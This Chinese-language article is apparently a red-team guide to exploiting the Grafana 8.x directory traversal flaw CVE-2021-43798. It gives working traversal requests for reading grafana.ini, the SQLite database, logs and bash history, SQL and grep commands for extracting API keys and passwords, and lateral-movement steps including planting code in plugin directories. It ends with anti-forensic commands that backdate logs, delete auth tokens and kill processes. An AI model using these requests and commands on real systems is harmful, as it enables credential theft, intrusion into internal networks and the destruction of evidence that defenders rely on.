Grafana 8.x 目录遍历漏洞(CVE-2021-43798)高阶利用从敏感文件定位到横向渗透的完整路径当大多数渗透测试者还在通过CVE-2021-43798读取/etc/passwd时真正的红队成员已经开始利用这个漏洞绘制整个Grafana生态系统的攻击面地图。本文将揭示如何将这个看似简单的目录遍历漏洞转化为企业内网渗透的跳板。1. 漏洞利用的进阶起点超越基础文件读取传统漏洞复现往往止步于获取/etc/passwd证明漏洞存在但在实际红队作战中我们需要建立更系统的文件枚举策略。Grafana的安装特性决定了其关键文件通常分布在以下路径/usr/share/grafana/conf/defaults.ini # 默认配置模板 /etc/grafana/grafana.ini # 主配置文件 /var/lib/grafana/grafana.db # SQLite数据库 /var/log/grafana/grafana.log # 应用日志 /home/grafana/.bash_history # 历史命令记录关键技巧通过组合../的数量差异来适应不同环境。例如GET /public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini GET /public/plugins/alertlist/../../../../../../../../../usr/share/grafana/conf/defaults.ini2. 配置文件深度解析从信息收集到凭据获取grafana.ini文件是攻击者的金矿其典型高价值字段包括配置节关键参数攻击价值[database]password, url数据库直接访问凭据[security]secret_key, admin_password会话伪造与管理员账户劫持[smtp]user, password邮件服务器凭据重用[auth.ldap]bind_password企业域认证凭据泄露实战案例当发现数据库配置为PostgreSQL时可尝试以下攻击链通过grafana.ini获取数据库连接字符串使用psql直接连接并执行SQL查询从dashboard表提取保存的API密钥和敏感数据3. 数据库文件分析与利用技巧grafana.db作为SQLite数据库包含多个关键表-- 获取所有保存的数据源配置 SELECT * FROM data_source; -- 提取仪表板中的敏感注释 SELECT title, data FROM dashboard WHERE data LIKE %password%; -- 查询用户API密钥 SELECT name, key FROM api_key WHERE expires datetime(now);高级技巧当遇到数据库被锁定时可以下载整个数据库文件到本地分析使用sqlite3 grafana.db .dump dump.sql导出数据搜索加密字段时注意Base64编码内容4. 日志与临时文件中的攻击线索Grafana日志文件往往被忽视却可能包含管理员操作记录包含敏感参数插件加载错误暴露路径信息第三方服务集成错误包含API密钥典型日志路径/var/log/grafana/grafana.log /var/lib/grafana/data/log/*.log /tmp/grafana-*.log日志分析模式# 查找可能的凭据泄露 grep -iE password|secret|key|token grafana.log # 提取外部服务连接信息 grep -i http://\|https:// grafana.log | awk {print $NF}5. 横向移动从Grafana到内网渗透获得Grafana资产后红队应建立以下攻击矩阵凭据重用攻击测试数据库密码是否适用于其他服务检查SMTP凭据是否可用于邮件服务器渗透插件供应链攻击分析/var/lib/grafana/plugins/目录结构查找可写的插件目录注入恶意代码服务发现从配置文件中提取内部API端点利用/proc/net/tcp发现内网连接# 自动化提取内网IP的Python示例 import re with open(/proc/net/tcp) as f: ips set(re.findall(r[0-9A-F]{8}, f.read())) print({f{int(ip[:2],16)}.{int(ip[2:4],16)}.{int(ip[4:6],16)}.{int(ip[6:8],16)} for ip in ips if not ip.startswith(7F)})6. 痕迹清除与反取证策略专业红队操作需考虑修改日志文件时间戳touch -d 2023-01-01 00:00:00 /var/log/grafana/grafana.log数据库操作痕迹清理DELETE FROM user_auth_token WHERE created datetime(now,-1 day);内存中残留进程处理pkill -f grafana-server /bin/true在最近一次内部红队演练中我们通过Grafana漏洞成功获取了AWS访问密钥这些密钥被意外保存在一个已删除但未清空的数据库页面中。这再次证明深度文件分析往往能发现意外收获。